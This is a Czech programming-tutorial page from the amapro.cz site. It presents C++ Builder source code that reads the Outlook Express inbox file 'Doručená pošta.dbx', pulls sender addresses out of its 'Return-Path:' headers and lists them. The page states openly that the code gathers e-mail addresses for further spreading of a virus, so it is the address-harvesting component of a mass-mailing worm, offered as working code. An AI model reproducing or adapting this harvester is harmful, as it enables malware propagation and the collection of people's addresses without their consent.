www.amapro.cz & David Bazala [Programování]

Otevře webové stránky AmaPro


Otevře hlavní stránku společnosti AmaPro
Internetové stránky určené pro studenty středních a vysokých odborných škol.


amapro.cz/odkazy Projekt eliminuje vyhledávání klíčových slov na komerčních stránkách a v e-schopech.



Nový projekt AmaPro

Program pro získávání názvů e-mailových adres

Tato část kódu je určená pro získání smysluplných e-mailových adres pro další rozšiřování viru. Cílem je získat name@name.cz ze souboru "doručená pošta.dbx". V tomto souboru jsou textové řetězce, které obsahují i názvy odesílatelů a to ve formátu "Return-Path:<" a ukončená je ">". Program projíždí řádky textu a hledá počátek shody. Následně hledá v podřetězci ukončovací znak. Vzniklý podřetězec ořeže o nadbytečné znaky a e-mailová adresy je k dispozici ve formátu AnsiString. Program ještě vypíše text do komponenty ListBox.
//*******************************************************
// zdrojový kód pro získání cizích e-mailových adres
// formát: Return-Path:
//*******************************************************
{
int delka_souboru; //proměnná počtu znaků v souboru
int uk_soubor; //proměnná ID číslo Window. otevřený soubor
char *data; //ukazatel na data (pole charů)
int start=0,konec=0; //pomocné proměnné pro řezání pole charů
ListBox1->Clear(); //Vymazání ListBoxu
AnsiString hledam="Return-Path:"; //slovo hledané jako návěstí počátku emailu
int const oddelit=hledam.Length()+2; //definice odřezání návěstí a přebytečných mezer
//*************************************************
uk_soubor=FileOpen("Doručená pošta.dbx",fmOpenRead); //cesta k souboru a jeho otevření pro čtení
delka_souboru=FileSeek(uk_soubor,0,2); //nastavení ukazatele polohy v souboru na konec
FileSeek(uk_soubor,0,0); //nastavení ukazatele polohy v souboru na začátek
data=new char[delka_souboru]; //dynamická alokace pole char dle znaků v souboru
FileRead(uk_soubor, data, delka_souboru); //načtení souboru do pole char
FileClose(uk_soubor); //uzavření souboru
AnsiString orezano,docas,mezi_konec; //pomocné proměnné typu AnsiString
orezano=(AnsiString)data; //koncerze pole data jako char do AnsiString
delete [] data; //uvolnění dynamické paměti jako pole
//*************************************************
do //návěstí pro blok zpracování pole jako AnsiString
{
start=orezano.Pos(hledam); //hledání první pozice shody AnsiString s proměnnou hledam
if(start==0) //test na existenci shody
break; //není shoda, je proveden výskok z do-while
mezi_konec=orezano.SubString(start+oddelit,50); //pomocná proměnná pro výpočet odřezání
konec=mezi_konec.Pos(">"); //zjištění pozice ukončovacího znaku
docas=orezano.SubString(start+oddelit,konec-1); //načtení užitkové části AnsiString
orezano.Delete(1,start); //ořezání již testované části AnsiString
ListBox1->Items->Add(docas); //výstup do ListBoxu
}
while(orezano.Length()>0); //test na delku řezaneho AnsiString
}


Abecední seznam všech článků Vyhledání pojmů ve článcích




Zapojení kabelů
Popis vývodů a křížení různých propojovacích kabelů
konektory.php
Procesory a mikroprocesory
Obecný úvod do základů mikroprocesorové techniky, architektury počítačů
knihy/mikroprocesory/obsah_mikro2.php
Weby o programování
Odkazy na velké servery o programování a vývoji SW
odkazy/programovani
Popis HTML formátu
Velikost textu, barva textu, rozvržení stránky, obrázky, barva pozadí se zapisuje pomocí HTML příkazů.
stranky/html_tag
Mikropočítače
Seznámení s obecnou problematikou počítačů a mikropočítačů.
programovani/mikropocitace
Číslicové počítače
Základní aritmetické operace, logické operace a vztahy mezi nimi.
programovani/cislicove_pocitace
Mikroprocesory IV.
Varianty návrhu číslicových řídících systémů realizovaných jako sekvenční obvody.
programovani/procesory_4
Hybridní počítače
Počítače, jejichž základem je standardní analogová počítací síť.
knihy/hybridni_pocitace
Databáze obrázků
Malé a velké obrázky, podlkady, tlačítka, okrasné čáry a pod.
datove_zdroje/obrazky
Otevře stránky Fulltextové vyhledávání na celém serveru
Digitalizované odborné knihy
Velká encyklopedie pojmů a zkratek
Česko - anglicko - německý technický slovník
Klasický katalog firem, služeb a stránek
OnLine překladač  vět a textů (nepoužívá Google)
Stránky pro chvíle oddechu od studia, relaxace
Katalog českých firem dle technologií
Internetový odkazník
Otevře hlavní stranu pro oddíl programování




 Wikipedie   Seznam stránek   Kapitoly témat   Významné servery   Klíčová slova 








Otevře hlavní stranu společnosti AmaPro

Všechna práva vyhrazena. Určeno jen pro osobní využití. Bez předchozího písemného souhlasu správce www.amapro.cz je zakázána jakákoli další publikace, přetištění nebo distribuce jakéhokoli materiálu nebo části materiálu zveřejněného na www.amapro.cz a to včetně šíření prostřednictvím elektronické pošty. Články, jejichž přímým autorem není amapro.cz lze publikovat pouze se souhlasem jejich majitelů či administrátoru příslušného webu.